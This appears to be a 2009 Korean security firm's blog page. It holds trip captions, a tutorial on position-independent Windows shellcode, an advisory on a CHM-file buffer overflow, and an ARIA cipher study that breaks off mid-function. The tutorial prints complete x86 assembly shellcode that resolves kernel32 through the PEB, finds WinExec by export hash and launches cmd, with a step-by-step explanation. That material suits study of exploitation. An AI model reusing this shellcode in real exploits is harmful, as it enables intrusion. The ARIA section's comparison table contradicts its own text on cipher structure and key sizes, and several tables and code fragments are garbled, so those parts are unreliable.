비양기 한대를 거의 빌리다시피(?) 해서 새벽부터 영차 영차 제주도에 입성...
멤버 대부분이 제주도를 처음 가본다는...콜록-_-;)..
아래는 OO 약수터라고 했는데 정신없이 올라갔죠
일부 멤버들이 하루방 아찌와 사진 한컷!!!!--찍은 사람이 잘 찍은겨..
일출봉 꼭대기까지 먼저 갔다온 니키와 홍텐 1박 2일~~~(-_-)b
떠나기전 또 등산(?)을...극기훈련이도다.....
▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
문서 작성일 : 2009년 2월 12일
최종 수정일 : 2009년 2월 12일
Hong10님께서 이번에는 "Windows Universal ShellCode"에 대해 집중 분석을 하였습니다. 긴 내용이지만 한번에 모두 포스팅을 하도록 하겠습니다. 프린터 하셔서 보시면 더욱 효율적이라 생각하네요^^)
I. Windows Universal ShellCode
1. Base Knowlage
일반적으로 작성되는 기초적인 쉘 코드는 유저레벨의 함수 호출을 이용하여 프로그래밍 언어로 제작하여 기계어 코드를 생성 한 뒤 그것을 이용합니다. Nix 류의 OS 에서는 Kernel 과 User 의 경계선이 Shell 의 의해 컨트롤 되어 지며 Windows 보다는 좀더 유연한 Kernel 과 통신이 가능합니다.
그래서 Windows 와 비교해서 쉘 코드 작성시 더욱 간편하며 대부분 시스템 프로그래밍을 이용하여 작성 되어지기 때문에 국가/버전에 제약을 덜 받는 쉘 코드 작성이 가능합니다. 하지만 Windows 에서는 Kernel 과의 통신을 엄격히 OS에서 관리 되어 지고 있으며 Windows 특성상 국가/버전에 따른 메모리 영역 주소가 조금씩 차이가 나며 이것은 쉘 코드 작성함에 있어서 Universal 한 코드의 작성을 어렵게 합니다.
흔히 Milw0rm 에 올라오는 Windows Exploit 코드들을 테스트 하다 보면 정상적으로 실행이 안 되는 대다수의 경우가 테스트 쉘 코드 때문에 그러합니다. 그래서 이 문서에서는 Windows 의 어떠한 버전에서도 실행되는 쉘 코드의 개념을 설명 하려 합니다.
Windows 에서 일반적인 쉘 코드 작성의 문제점은 이러합니다.
먼저 쉘 코드를 만들 때 Windows Api 중 CreateProcess,WinExec Api 를 이용하여 CMD.EXE 를 실행하여 쉘코드를 작성 합니다. 하지만 앞서 애기 했듯이 위에서 언급한 Api는 Kernel32.dll 에 의해 export 되어집니다. 윈도우에서는 Kernel32.dll 가 로드 되는 메모리 주소가 국가/버전 별로 조금씩 차이가 있기 때문에 잘못된 위치를 가르켜 실행이 되지 않습니다.
또한 대부분 Exploit 코드들에서는 Kernel32.dll 이나 ntdll.dll 의 시스템 모듈에서 “jmp esp” , “call esp”의 옵 코드들을 찾아 하드코딩 형태로 작성 되기 때문에 이 또한 실행에 많은 제약이 있습니다.(이것은 윈도우 어플리케이션을 공격 할 시 사용되는 일반적인 방법)
그럼 다음 코드를 통하여 하나씩 Step By Step 하는 형태로 설명 을 나가겠습니다.
#pragma comment(lib,"psapi.lib") //컴파일 시 필요한 라이브러리를 로드 EnumProcessModules(GetCurrentProcess(),hProcessModule,sizeof(hProcessModule),&dwReturn); dwModuleNb = dwReturn / sizeof(HMODULE); // 사이즈를 4의 배수만큼 나누어준다. |
EPROCESS +0x1b0 Peb |
PEB +0x00c LDR |
LDR +0x01c InInitializationOrderModulelist : List Entry |
void main (int argc,char* argv[]) // Jump to the first InInitializationOrderModuleList item _asm ; Next Flink mov edx,DWORD PTR [eax] ; DllBase mov edx,DWORD PTR [eax+8] ; Not the first item? cmp edx,0 ; First item mov edx,DWORD PTR [eax+0x24+8] Good: mov edx,DWORD PTR [eax+0x0C] wprintf(L" Base Name: %s\n",BaseDllName); |
FLink |
0x00241F58 |
BLink |
0x00242020 |
Loading address of the module |
0x00400000 |
Entry point of the module |
0x004016D0 |
Size , In bytes , occupied by the module |
0x0002E000 |
File Name |
0x00020934 |
Base Name |
0x00020986 |
0x000 Flink : LIST_ENTRY 0x004 Blink : LIST_ENTRY 0x008 DllBase : Ptr32 0x00C EntryPoint : Ptr32 0x010 SizeOfImage : Uint4B 0x014 FullDllName : UNICODE_STRING 0x014 (0x000) Length : Uint2B 0x016 (0x002) MaximumLength : Uint2B 0x018 (0x004) Buffer : Ptr32 0x01C BaseDllName : UNICODE_STRING 0x01C (0x000) Length : Uint2B 0x01E (0x002) MaximumLength : Uint2B 0x020 (0x004) Buffer : Ptr32 |
#define EMIT_4_LITTLE_ENDIAN(a,b,c,d) _asm _emit a __asm _emit b __asm _emit c __asm _emit d int main(int argc, char* argv[]) { _asm { universalshell: jmp startup_bnc find_kernel32: mov esi,[esp] push esi xor eax,eax mov eax,fs:[eax+0x30] test eax,eax js find_kernel32_9x find_kernel32_nt: mov eax,[eax+0x0c] mov esi,[eax+0x1c] lodsd mov eax,[eax+0x8] jmp find_kernel32_finished find_kernel32_9x: mov eax,[eax+0x34] lea eax,[eax+0x7c] mov eax,[eax+0x3c] find_kernel32_finished: pop esi ret find_function: pushad mov ebp,[esp+0x24] mov eax,[ebp+0x3c] mov edx,[ebp+eax+0x78] add edx,ebp mov ecx,[edx+0x18] mov ebx,[edx+0x20] add ebx,ebp find_function_loop: jecxz find_function_finished dec ecx mov esi,[ebx+ecx*4] add esi,ebp compute_hash: xor edi,edi xor eax,eax cld compute_hash_again: lodsb test al,al jz compute_hash_finished ror edi,0xd add edi,eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi,[esp+0x28] jnz find_function_loop mov ebx,[edx+0x24] add ebx,ebp mov cx,[ebx+2*ecx] mov ebx,[edx+0x1c] add ebx,ebp mov eax,[ebx+4*ecx] add eax,ebp // mov [esp+0x1c],eax find_function_finished: popad ret startup_bnc: jmp startup resolve_symbols_for_dll: lodsd push eax push edx call find_function mov [edi],eax add esp,0x08 add edi,0x04 cmp esi,ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e) //WinExec // EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) //CreateProcessA EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) //ExitProcess startup: call find_kernel32 mov edx,eax resolve_kernel32_symbols: sub esi,0xd lea edi,[ebp+0x04] mov ecx,esi add ecx,0x08 call resolve_symbols_for_dll initialize_cmd: mov eax,0x646d6300 sar eax,0x08 push eax mov [ebp+0x34],esp execute_process: xor eax,eax mov al,0x0a push eax push [ebp+0x34] // lea esi,[edi+0x44] // push eax // push eax // push eax // push eax // push eax // inc eax // push eax // dec eax // push eax // push eax // push [ebp+0x34] // push eax call [ebp+0x04] exit_process: call [ebp+0x08] } return 0; } |
find_kernel32: mov esi,[esp] push esi xor eax,eax mov eax,fs:[eax+0x30]//current process of peb test eax,eax js find_kernel32_9x find_kernel32_nt: mov eax,[eax+0x0c] //ldr mov esi,[eax+0x1c] //ininitalizationOrderModuleList lodsd//이걸 실행하면 kernel32.dll 의 ldr module mov eax,[eax+0x8] //offset 0x8에는 dllbase주소 jmp find_kernel32_finished find_kernel32_9x: mov eax,[eax+0x34] lea eax,[eax+0x7c] mov eax,[eax+0x3c] find_kernel32_finished: pop esi//call find_kernel32 의 ret address ret |
kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e) //WinExec // EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) //CreateProcessA EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) //ExitProcess |
resolve_kernel32_symbols: sub esi,0xd//처음 루프문에서는 WinExec의 헥사 값을 가리킨다 lea edi,[ebp+0x04]//구한hash값을 저장하기 위한 공간 mov ecx,esi//루프 문 카운터를 위하여 설정하는 값 add ecx,0x08//예제에서 두개의 함수를 구하므로 4의 배수 값으로 8 call resolve_symbols_for_dll resolve_symbols_for_dll: lodsd push eax push edx call find_function // 구하고자 하는 함수를 찾기 mov [edi],eax //위에서 확보한 ebp+0x4 공간에 구한 함수 주소를 저장 add esp,0x08 //call find_function으로 인한 스택 복구 add edi,0x04 //다음 함수 주소를 저장하기 위한 공간 cmp esi,ecx //위에서 설정한 루프문의 카운터 값 비교 jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret |
EBP + 0x4 | EBP+0x08 |
WinExec | ExitProcess |
find_function: pushad mov ebp,[esp+0x24] //kernel32.dll의 Image Base 주소 mov eax,[ebp+0x3c] //PE파일을 나타내는 시그내처 mov edx,[ebp+eax+0x78] //IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA add edx,ebp mov ecx,[edx+0x18] //함수 이름 개수 mov ebx,[edx+0x20] //익스포트 함수 이름 포인터 테이블 add ebx,ebp find_function_loop: jecxz find_function_finished dec ecx mov esi,[ebx+ecx*4] //이미지베이스+(함수이름갯수-1)*4 , 거꾸로 검색한다. add esi,ebp compute_hash: xor edi,edi xor eax,eax cld compute_hash_again: lodsb test al,al jz compute_hash_finished ror edi,0xd add edi,eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi,[esp+0x28] //거꾸로 찾은 함수 hash 와 구하고자하는 함수 hash(esp+0x24) 비교 jnz find_function_loop mov ebx,[edx+0x24] //익스포트 함수 서수 테이블 add ebx,ebp mov cx,[ebx+2*ecx] //oridinal 값 획득(2바이트 배열로 존재 +base) mov ebx,[edx+0x1c] //익스포트 함수 포인터 테이블 add ebx,ebp mov eax,[ebx+4*ecx]//function 의 주소를 얻음 add eax,ebp // mov [esp+0x1c],eax find_function_finished: popad ret |
*mov edx,[ebp+eax+0x78]
현재 ebp 에는 kernel32.dll 의 DllBase(0x7c800000) 주소를 가지고 있습니다.거기에 3c 오프셋 에는 PE 파일 시그내처 을 나타내는 주소 값 입니다.이 주소 값 에서 0x78 만큼 떨어 진 곳에는 IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA(2c26) 값이 담겨 있습니다.
다음 4바이트는 사이즈를 나타내는 값 입니다. 다음은 메모리 덤프 한 값입니다.
7C8000F0 50 45 00 00 4C 01 04 00 CE C0 02 48 00 00 00 00 PE..L .括 H....
7C800100 00 00 00 00 E0 00 0E 21 0B 01 07 0A 00 32 08 00 ....?
7C800110 00 84 0A 00 00 00 00 00 3E B6 00 00 00 10 00 00 .?.....>?.. ..
7C800120 00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 00 .. ...|. ... ..
7C800130 05 00 01 00 05 00 01 00 04 00 00 00 00 00 00 00 . . . . .......
7C800140 00 00 13 00 00 04 00 00 BC DF 12 00 03 00 00 00 .. .. ..솬 . ...
7C800150 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 .. .. .... .. ..
7C800160 00 00 00 00 10 00 00 00 2C 26 00 00 FD 6C 00 00 .... ...,&..?..
0x7c8000f0 값이 PE 시그내처 을 나타내는 값 입니다.
● VitaulAddress 0x00002c26
● Size 0x00006cfd
*add edx,ebp
실제 주소 번지(가상 주소) = 이미지 로드 시작 번지(DllBase) + RVA
즉 해당 코드를 실행 하면 EXPORT 구조체를 가리키는 실제 주소 번지에 값을 알 수 있습니다.
*mov ecx,[edx+0x18]
함수 이름의 개수를 ecx에 넣습니다.
*mov ebx,[edx+0x20]
익스포트 함수 이름 테이블 포인터 을 ebx에 넣습니다.
위에서 0x7c802c26 값이 IMAGE_EXPORT_DIRECTORY 구조체를 가리킨다고 했습니다. 해당 주소에서 메모리 덤프를 값을 살펴 보면 다음과 같습니다.
7C80262C 00 00 00 00 E1 5B 02 48 00 00 00 00 8E 4B 00 00 ....? H....랯..
7C80263C 01 00 00 00 B9 03 00 00 B9 03 00 00 54 26 00 00 ...?..?..T&..
7C80264C 38 35 00 00 1C 44 00 00 D4 A6 00 00 05 55 03 00 85.. D..濤.. U .
위에서 보시는 대로 박스 친 필드 값을 상세히 나타내면 다음 과 같습니다
필드 |
값(RVA) |
의미 |
Characteristics |
0x00000000 |
의미 없다. |
TimeDateStamp |
0x41110216 |
시간 스탬프 |
Version |
0x00000000 |
의미 없다. |
Name |
0x00004b8e |
DLL 이름 |
Base |
0x00000001 |
서수의 시작 번호 |
NumberOfFunctions |
0x000003b9 |
함수 개수 |
NumberOfNames |
0x000003b9 |
함수 이름 개수 |
AddressOfFunctions |
0x00002654 |
익스포트 함수 포인터 테이블 |
AddressOfNames |
0x00003538 |
익스포트 함수 이름 포인터 테이블 |
AddressOfNamesOrdinals |
0x0000441c |
익스포트 함수 서수 테이블 |
*cmp edi,[esp+0x28]
[esp+0x28]에는 원래 구하고자 하는 function hash 가 있으며 edi 는 루프 문을 통한 hash 값과 비교 하고 있다.
*ebx,[edx+0x24]
위 루프 문에서 찾고자 하는 hash 값을 얻었다면 해당 function 의 실제 주소를 찾아야 한다. 그때 필요한 것은 익스포트 함수 서수 테이블 입니다. 위 표에서 알 수 있듯이 0x0000441c (RVA)오프셋 위치에 존재 합니다.
*mov cx,[ebx+2*ecx]
ecx 값은 위에서 함수 이름 개수 만큼 loop를 돌면서 감소 하는 카운터 입니다. Ebx는 현재 익스포트 함수 서수 테이블을 가리키며 서수 값은 총 2바이트 이므로 찾은 함수의 서수 값을 알 수 있습니다.
*mov ebx,[edx+0x1c]
위에서 함수 서수를 구하였으므로 그 값을 바탕으로 실제 함수가 구현된 주소 값 을 찾을 수 있습니다. 그러기 위해선 우선 익스포트 함수 포인터 테이블을 ebx에 담습니다.
*mov eax,[ebx+4*ecx]
찾고자 하는 함수 주소 값 을 eax에 담습니다.
이와 같은 과정을 LoadPe 라는 툴 을 이용하여 살펴 보면 다음과 같습니다.
*Ordinal이 서수를 뜻합니다.
위 코드 중에 빠진 설명이 있는 데 그것은 바로 hash 값을 구하는 알고리즘 입니다.
그렇게 복잡한 건 없지만 다음 코드를 통해 위 코드에서 사용되고 있는 hash 알고리즘에 대해 알아 보겠습니다.
int main(int argc, char *argv[]) { if(argc != 2) { |
initialize_cmd: mov eax,0x646d6300 sar eax,0x08 push eax mov [ebp+0x34],esp execute_process: xor eax,eax mov al,0x0a push eax push [ebp+0x34] call [ebp+0x04] //WinExec exit_process: call [ebp+0x08] //ExiteProcess |
char shellcode[]= int main(int argc, char *argv[]) |
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.
▷ 작성자 : InPire(aramlee@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
MS Windows CHM File Processing Buffer Overflow
취약점 보안 권고안
1. 요 약
CHM 파일은 HTML문서와 이미지, 자바스크립트 등을 하나의 파일로 모아 HTML로 컴파일된, MS Windows 플랫폼에서 사용되는 도움말 파일이다. 이 취약점은 CHM파일을 실행할 때 발생하는 버퍼오버플로우로 DoS가 발생한다.
2. 대상시스템
이 취약점은 MS Windows XP Service Pack 3 에서 적용된다.
3. 심각도 및 취약점 확인
취약점 영향 |
MS Windows CHM File Processing Buffer Overflow |
원격 버퍼 오버플로우 |
중 |
Ⅱ. 취약점 세부 분석
1. 취약점 내용
취약점 분석은 아래 URL의 POC로 분석하였다.
http://www.milw0rm.org/exploits/7720
POC를 실행하여 만들어진 chm파일을 더블클릭하여 실행하면 다음과 같은 오류메시지가 뜬다.
[그림 1] Windows CHM 파일 실행 오류
윈도우에서 CHM 파일을 로딩할 때, itss.dll을 로딩한다. itss.dll은 Microsoft 저장 시스템에 의해 사용되는 함수를 담은 파일이다. 이 itss.dll의 “TEST [ECX], EAX” 부분에서 취약점이 존재한다. 이 때, ECX의 값은 40964이며, 0x40964의 위치을 찾을 수 없기 때문에 액세스 위반으로 인한 오버플로우가 발생한다.
[그림 2] 버퍼오버플로우 발생지점
2. 공격 분석
CHM 파일 포맷은 다음과 같다.
The Header |
0000 |
ITSF(Info-Tech Storage Format) |
|
0004 |
버전 |
3 | |
0008 |
전체 헤더 길이 |
96 bytes | |
000C |
unknown |
1 | |
0010 |
A Time stamp |
| |
0014 |
윈도우 언어 ID (Big-endian) |
English ( | |
0018 |
GUID |
| |
0028 |
GUID |
| |
The Header Section Table |
0000 |
파일이 시작하는 부분부터의 오프셋 |
|
0008 |
섹션의 길이 |
| |
Additional header data |
0000 |
파일안에 콘텐츠 섹션의 오프셋 |
|
Header Section 0 |
0000 |
$01FE. Unknown(Big-Endian) |
|
0004 |
unknown |
0 | |
0008 |
파일 크기 |
| |
0010 |
Unknown |
0 | |
0014 |
Unknown |
0 | |
Header Section 1 : The Directory Listing |
0000 |
ITSP |
|
0004 |
버전 |
1 | |
0008 |
Directory header의 길이 |
| |
0010 |
unknown |
$0a | |
0014 |
“Density” of quickref section |
| |
0018 |
Depth of the index tree |
| |
001C |
Chunk number of root index chunk |
| |
0020 |
Chunk number of first PMGL chunk |
| |
0024 |
Chunk number of last PMGL chunk |
| |
0028 |
unknown |
-1 | |
002C |
디렉토리 chunk의 수 |
| |
0030 |
윈도우 언어 ID |
| |
0034 |
GUID |
| |
0044 |
길이 |
$54 | |
0048 |
Unknown |
-1 | |
004C |
Unknown |
-1 | |
0050 |
unknown |
-1 |
표 1 CHM File Format
익스플로잇에 삽입된 기계어코드를 파일 포맷에 따라 분석하여보면, Header Section 1에서 ITSP, 버전을 제외한 값은 모두 \x41로 채워져 있다. 아래 그림에서 붉은 글씨 부분이 Header Section 1부분이다.
[그림 3] 익스플로잇에 삽입된 기계어코드
Header Section 1 부분에 엉뚱한 코드를 넣어 ECX값을 변조하여 [ECX]를 액세스 할 수 없게 만든다.
3. 위험 분석
Header Section 1에 이상한 코드가 삽입된 CHM파일을 실행할 때, [ECX]의 위치를 액세스할 수 없어 오버플로우로 인해 DoS가 발생한다.
Ⅲ. 대응 방안
1. 보안 대책
현재 패치가 없는 상태이기 때문에, 의심스러운 도움말파일(CHM 파일)은 열지 않아야 한다.
패치는 헤더값을 읽어올 때 데이터 변환과정의 알고리즘을 패치하는 방법으로 이루어질 것이라고 예상된다.
2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
CVE-2009-0119
Bugtraq Id: 33204
http://www.milw0rm.org
http://www.securityfocus.com/bid/33204
Copyright(c) 1998-2009 A3 Security ,LTD
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.
▷ 작성자 : 붉은반점(r3dp0int@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
I. 분석보고서에 대한 소개
1. 목적
ARIA는 전자정부 구현을 위해 개발되고 최근에 소스코드를 홈페이지에 공개한 ARIA 암호 알고리즘에 대해 공부해보고 그 원리에 대한 이해를 돕기 위해 명세서와 소스코드를 나름대로의 논리로 정리해 보았습니다. 본 문서는 전자도서관 등에서 구할 수 있는 논문이나 현재 공개되어 있는 소스코드, 명세서, 벡터코드 등의 자료들을 참고하여 새로운 창조물이 아닌 현재 나온 자료에 대한 나름대로의 정리자료라고 할 수 있겠습니다
현재 완성된 보고서의 내용은 수학적인 부분을 중심으로 어떻게 알고리즘이 구성되었는가 의 내용입니다. 100% 이해한 내용이 아니므로 미숙한 내용이 있더라도 이해해주시기 바랍니다.
II. ARIA 암호알고리즘의 소개
1. 소개
ARIA는 전자정부 구현 등으로 다양한 환경에 적합한 암호 알고리즘이 필요함에 따라 국가보안기술연구소(NSRI) 주도로, 학계, 국가정보원 등의 암호기술 전문가들이 힘을 모아 개발한 국가 암호화 알고리즘입니다.
ARIA는 경량 환경 및 하드웨어 구현을 위해 최적화된, Involutional SPN 구조를 갖는 범용 블록 암호 알고리즘입니다. ARIA의 주요 특성은 다음과 같습니다.
블록 크기 : 128비트
키 크기 : 128/192/256비트 (AES와 동일 규격)
전체 구조: Involutional Substitution-Permutation Network
라운드 수 : 12/14/16 (키 크기에 따라 결정됨)
ARIA는 경량 환경 및 하드웨어에서의 효율성 향상을 위해 개발되었으며, ARIA가 사용하는 대부분의 연산은 XOR과 같은 단순한 바이트 단위 연산으로 구성되어 있습니다. ARIA라는 이름은 Academy(학계), Research Institute(연구소), Agency(정부 기관)의 첫 글자들을 딴 것으로, ARIA 개발에 참여한 학•연•관의 공동 노력을 표현하고 있습니다.
ARIA는 2004년 12월 30일에 한국산업규격 KS표준으로 제정되었으며 소스코드, 명세서 등의 자료들은 현재 국가사이버안전센터 IT인증사무국 홈페이지에서 배포하고 있습니다.
2. SEED와 차이점
|
ARIA |
SEED |
표준화 |
기술표준원에서 제정 |
정보통신단체표준(TTA)제정 IETF 표준으로 제정, ISO/IEC 국제블록암호알고리즘 표준으로 제정 |
키 길이 |
128비트 고정적 |
128, 196, 256비트 가변적 |
알고리즘 구조 |
Feistal 구조 |
SPN 구조 |
성능차이 |
ARIA : SEED 암호화 시간 비율 = 1 : 2 (성능 면에서 ARIA가 우수) |
S-box에 요구되는 성질
i. 최대 차분 / 선형 확률 : 2-6
ii. 대수적 차수 : 7
iii. 고정점, 반고정점이 없을 것.
일반적으로 이 같은 성질을 만족시키기 위하여 유한체 GF(28)상의 함수 x-1에 아핀변환(affine Transformation)을 사용하고 있습니다.
S-box S1,S2는 아래의 식이 성립:
S1 = Bx-1 XOR b // S2 = Cx247 XOR c
B,C는 8x8 정칙행렬이고, b,c는 8x1 행렬입니다.
S-box에서는 S1,S2와 함께 S1-1,S2-1을 사용하여 총 4개의 S-box를 사용합니다.
S1과 S1-1, S2와 S2-1은 서로 역의 관계입니다.
S-box는 32비트 단위를 사용.
2) 확산 계층(Diffusion Layer)
간단한 16 x 16 involution 이진 행렬을 사용한 바이트 간의 확산 함수로 구성되어 있습니다.
ARIA의 확산함수
A : GF(28)16 GF(28)16
입력 : (x0,x1,….,x15)
출력 : (y0,y1,….,y15)
16 x 16 이진행렬의 곱으로 표현
A는 A-1 = A로써 Involution 구조. 입력(y0,y1,y2,…..,y15) 출력(x0,x1,….,x15)가 가능.
가지수 β(A) = 8 = min{wt(x) + wt(Ax) | x∈ GF(28)16, x≠0} (단, wt(x) = x의 Hamming weight(‘x’에 포함된 ‘0’이 아닌 바이트 수))
3) 키 확장(Key Expansion, AddRoundKey)
초기화 과정에서는 암/복호화 한 라운드를 F함수로 하는 256비트 입출력 3라운드 Feistel 암호를 이용하여, 암호키 MK로부터 4 개의 128비트 값 W0,W1,W2,W3를 생성합니다. MK의 길이는 128, 192, 256가 가능하므로 Feistel 암호의 입력에 필요한 256비트(KL,KR)을 다음과 같이 구성합니다.
128비트 KL은 MK의 상위 128비트를 취합니다.
MK의 남은 비트를 이용하여 KR의 상위 비트를 채우고 나머지는 0으로 채웁니다.
KL || KR = MK || 0….0 >> MK가 128비트인 경우
KL || KR = MK(128) || (129~192),0….0 >> MK가 192비트인 경우
FO와 Fe를 각각 홀수(LT)와 짝수(LT-1)라운드 함수라고 할 때, W0,W1,W2,W3 은 다음의 공식으로 생성합니다.
W0 = KL
W1 = FO(W0,CK1) XOR KR
W2 = Fe(W1,CK2) XOR W0
W3 = FO(W2,CK3) XOR W1
Feistel 암호의 128비트 라운드 키 CKi는 π-1의 유리수 부분의 128비트 상수
C1 = 0x517cc1b727220a94fe13abe8fa9a6ee0
C2 = 0x6db14acc9e21c820ff28b1d5ef5de2b0
C3 = 0xdb92371d2126e9700324977504e8c90e
암호키 길이 |
CK1 |
CK2 |
CK3 |
128-비트 |
C1 |
C2 |
C3 |
192-비트 |
C3 |
C1 |
C2 |
256-비트 |
C2 |
C3 |
C1 |
라운드 키 생성과정
위에서 나온 값들을 이용하여 암호화와 복호화 라운드 키(eki, dki)를 생성합니다.
라운드 수는 x비트일 경우 (x+256)/32 라운드 수. (각각 12,14,16 라운드)
마지막 라운드에 키 덧셈 계층이 두 번 있으므로 13,15,17 개의 라운드 키 생성.
라운드 암호화 키 생성 공식
ek1 = (W0) XOR (W1>>>19), ek2 = (W1) XOR (W2>>>19)
ek3 = (W2) XOR (W3>>>19), ek4 = (W3) XOR (W0>>>19)
ek5 = (W0) XOR (W1>>>31), ek6 = (W1) XOR (W2>>>31)
ek7 = (W2) XOR (W3>>>31), ek8 = (W3) XOR (W0>>>31)
ek9 = (W0) XOR (W1>>>61), ek10 = (W1) XOR (W2>>>61)
ek11 = (W2) XOR (W3>>>61), ek12 = (W3) XOR (W0>>>61)
ek13 = (W0) XOR (W1>>>31), ek14 = (W1) XOR (W2>>>31)
ek15 = (W2) XOR (W3>>>31), ek16 = (W3) XOR (W0>>>31)
ek17 = (W2) XOR (W3>>>19)
복호화 라운드 키 생성 공식
dk1 = ekn+1, dk2 = A(ekn), dk3 = A(ekn-1), …. , dkn = A(ek2), dkn+1 = ek1
3. 소스코드 분석
현재 국가보안기술연구소 홈페이지에 공개되어 있는 소스는 테스트 용도로써 치환, 확산, 키 확장 등의 원리를 이해하는데 도움이 되었으며, 본 소스코드 암호화 이후의 결과가 정상적으로 이루어지는가와 암호화 복호화가 잘 이루어 지는가에 대한 확인을 그 목적으로 하고 있습니다.
1) 중요 함수
확산 계층 함수, 암호화 키 생성 함수, 복호화 키 생성 함수, 라운드 키 생성함수, 치환 및 암호화 함수
2) 확산 계층 함수 – DL(const Byte *i, Byte *o)
확산 계층 함수 : DL함수(FO, Fe 부분을 담당)
입력값 : input 배열과 output 배열 선언 >> DL(const Byte *I, Byte *O)
확산과정을 거치기 위한 임의의 공간 T 선언 >> Byte T;
일정한 규칙에 따른 4개의 인자 값을 XOR 계산
출력값 output 배열에 T값과 해당되는 인자 값에 키 값과 XOR 한 값을 저장합니다.
소스코드 일부분:
T = i[ 3] ^ i[ 4] ^ i[ 9] ^ i[14]; // T 값에 XOR 결과값 입력
o[ 0] = i[ 6] ^ i[ 8] ^ i[13] ^ T; // T와 각각의 output 값 생성
o[ 5] = i[ 1] ^ i[10] ^ i[15] ^ T;
o[11] = i[ 2] ^ i[ 7] ^ i[12] ^ T;
o[14] = i[ 0] ^ i[ 5] ^ i[11] ^ T;
3) 암호화 키 생성 함수 – EncKeySetup(const Byte *w0, Byte *e, int keyBits)
입력값은 첫번째 라운드 키 w0, 암호화된 라운드 키 e, 키 비트 KeyBits
임시 저장장소 t[16], 라운드 키 w1[16], w2[16], w3[16]
q = Fesitel 암호 라운드 키 세가지 구분(0 = C1, 1 = C2, 2 = C3)
int EncKeySetup(const Byte *w0, Byte *e, int keyBits) {
int i, R=(keyBits+256)/32, q;
Byte t[16], w1[16], w2[16], w3[16];
q = (keyBits - 128) / 64; // Feistel 암호 라운드 키 C1=0, C2=1, C3=2
for (i = 0; i < 16; i++) t[i] = S[ i % 4][KRK[q][i ] ^ w0[i]];
// S-box 에서 x값은 S-box s1,s2,s1-1,s2-1 4가지가 한번씩 돌아가면서 입력되도록 체크
// KRK[q][i]^w0[i] Feistel 암호 라운드 키와 암호화 라운드 키를 한 비트씩 XOR 연산
DL (t, w1); // 확산함수를 통한 w1값 결정
if (R==14)
for (i = 0; i < 8; i++) w1[i] ^= w0[16+i];
else if (R==16)
for (i = 0; i < 16; i++) w1[i] ^= w0[16+i];
q = (q==2)? 0 : (q+1);
for (i = 0; i < 16; i++) t[i] = S[(2 + i) % 4][KRK[q][i] ^ w1[i]];
DL (t, w2); // 확산함수를 통한 w2 결정
for (i = 0; i < 16; i++) w2[i] ^= w0[i]; //w2와 w0 XOR 연산
q = (q==2)? 0 : (q+1);
// Feistel 암호화 라운드 키를 키 비트수에 따라 하나씩 밀려서 쓰기 때문에 이와 같은 방법을 선택. 2가 되면 0으로 돌리고, 2가 되기 전까지는 +1 을 함.
for (i = 0; i < 16; i++) t[i] = S[ i % 4][KRK[q][i] ^ w2[i]];
DL (t, w3); //
for (i = 0; i < 16; i++) w3[i] ^= w1[i];
for (i = 0; i < 16*(R+1); i++) e[i] = 0; //e[i] 값을 초기화
아래의 RotXOR 함수는 아래에서 따로 설명하겠습니다.
RotXOR (w0, 0, e ); RotXOR (w1, 19, e );
RotXOR (w1, 0, e + 16); RotXOR (w2, 19, e + 16);
RotXOR (w2, 0, e + 32); RotXOR (w3, 19, e + 32);
RotXOR (w3, 0, e + 48); RotXOR (w0, 19, e + 48);
RotXOR (w0, 0, e + 64); RotXOR (w1, 31, e + 64);
RotXOR (w1, 0, e + 80); RotXOR (w2, 31, e + 80);
RotXOR (w2, 0, e + 96); RotXOR (w3, 31, e + 96);
RotXOR (w3, 0, e + 112); RotXOR (w0, 31, e + 112);
RotXOR (w0, 0, e + 128); RotXOR (w1, 67, e + 128);
RotXOR (w1, 0, e + 144); RotXOR (w2, 67, e + 144);
RotXOR (w2, 0, e + 160); RotXOR (w3, 67, e + 160);
RotXOR (w3, 0, e + 176); RotXOR (w0, 67, e + 176);
RotXOR (w0, 0, e + 192); RotXOR (w1, 97, e + 192);
if (R > 12) {
RotXOR (w1, 0, e + 208); RotXOR (w2, 97, e + 208);
RotXOR (w2, 0, e + 224); RotXOR (w3, 97, e + 224);
}
if (R > 14) {
RotXOR (w3, 0, e + 240); RotXOR (w0, 97, e + 240);
RotXOR (w0, 0, e + 256); RotXOR (w1, 109, e + 256);
}
return R;
}
4) 복호화 키 생성 함수 – DecKeySetup(const Byte *w0, Byte *d, int keyBits)
w0 : 암호화 라운드 첫번째 값, d : 복호화 라운드 키, KeyBits : 키 비트 수
int DecKeySetup(const Byte *w0, Byte *d, int keyBits) {
